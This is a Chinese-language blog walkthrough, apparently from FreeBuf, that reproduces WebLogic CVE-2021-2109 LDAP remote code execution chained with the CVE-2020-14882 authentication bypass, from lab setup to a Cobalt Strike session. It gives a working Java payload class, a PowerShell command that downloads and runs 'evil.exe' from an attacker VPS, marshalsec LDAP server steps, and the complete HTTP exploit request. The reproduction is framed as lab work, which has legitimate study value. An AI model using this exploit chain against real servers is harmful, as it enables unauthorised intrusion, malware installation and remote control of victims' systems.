weblogicCVE-2021-2109ldap远程代码执行漏洞复现(从weblogic环境搭建到漏洞复现CS上线) – 作者:quanpangshu

环境搭建

参考:

https://blog.csdn.net/zhlh_xt/article/details/76436807

下载链接:

https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

1613575474_602d3532d4d9ee878cc80.png!small

1613575481_602d3539e85c58a3ec6cc.png!small

开始安装:

| Java -D64 -jar wls1036_generic.jar |
1613575490_602d3542b66e52137acd0.png!small

1613575497_602d354952fb7e7a0d9cc.png!small

1613575502_602d354e3a60b8e8b114b.png!small

1613575509_602d35550eaef07c514f7.png!small

1613575515_602d355b135f813cbf851.png!small

1613575520_602d356013690514c1178.png!small

1613575525_602d35652a5df64286a4c.png!small

1613575529_602d35690ad81071604ab.png!small

1613575534_602d356e37e5752ff60a4.png!small

1613575538_602d3572a17d65ff41f66.png!small

1613575544_602d35784124400695a40.png!small

1613575549_602d357d169f15dcbca84.png!small

1613575554_602d35827ba7cc110159a.png!small

1613575559_602d35872b5dc1675214c.png!small

1613575564_602d358ca96360a28ef44.png!small

1613575572_602d3594bef987231aac7.png!small

1613575582_602d359e21337ff15fcfe.png!small

1613575588_602d35a40714692624856.png!small

| C:\Oracle\Middleware\user_projects\domains |
设置密码

1613575597_602d35ad5444aef8668da.png!small

1613575603_602d35b3ea15831106442.png!small

1613575609_602d35b95612dd3c3c27f.png!small

1613575614_602d35be8487bce754930.png!small

1613575621_602d35c5b196191feac12.png!small

1613575627_602d35cb8388f2632a37c.png!small

1613575633_602d35d1182cd8edc221e.png!small

1613575638_602d35d6b30a7954992dd.png!small

搭建完毕

访问目标:

1613575645_602d35dd2c23f022bd08d.png!small

漏洞复现

准备工作:

ldap包下载 https://github.com/RandomRobbieBF/marshalsec-jar/archive/master.zip
构造java包进行编译:Request.java

| import java.io.BufferedReader;

import java.io.InputStream;

import java.io.InputStreamReader;
public class Request{

public Request() throws Exception {

Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});

InputStream is = p.getInputStream();

BufferedReader reader = new BufferedReader(new InputStreamReader(is));

String line;

while((line = reader.readLine()) != null) {

System.out.println(line);

}


p.waitFor();

is.close();

reader.close();

p.destroy();

}

} |

如想上线CS把calc.exe修改为下载cs木马并执行命令

cd ../../Windows/Temp && powershell (new-object System.Net.WebClient).DownloadFile(‘http://vps/123.jpg’,’evil.exe’) & evil.exe

进行编译:注意目标环境是什么jdk就用什么jdk版本进行编译

1613575670_602d35f6a7fdd173a2af2.png!small

编译好class包后上传到vps

开启http服务,下面放编译好的class包

1613575708_602d361c69de81d4a3b40.png!small

用下载好的marshalsec包开启ldap服务:

1613575713_602d3621e32a6a8f6f4cc.png!small

通过burp请求:配合
CVE-2021-2109(ldap远程代码执行)和CVE-2020-14882(未授权访问)

1613575720_602d3628d06f3e447de8e.png!small

完整数据包:

| POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1

Host: 192.168.48.203:7001

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

X-Forwarded-For: 127.0.0.2

Content-Length: 163

Content-Type: application/x-www-form-urlencoded

_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22;ldap://vps:5005/Request;AdminServer%22) |

cs接收shell

1613575730_602d3632b1d755cfa99a5.png!small

限制条件:目标可以出网,能够成功构造和发送包

来源:freebuf.com 2021-02-17 23:39:44 by: quanpangshu

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论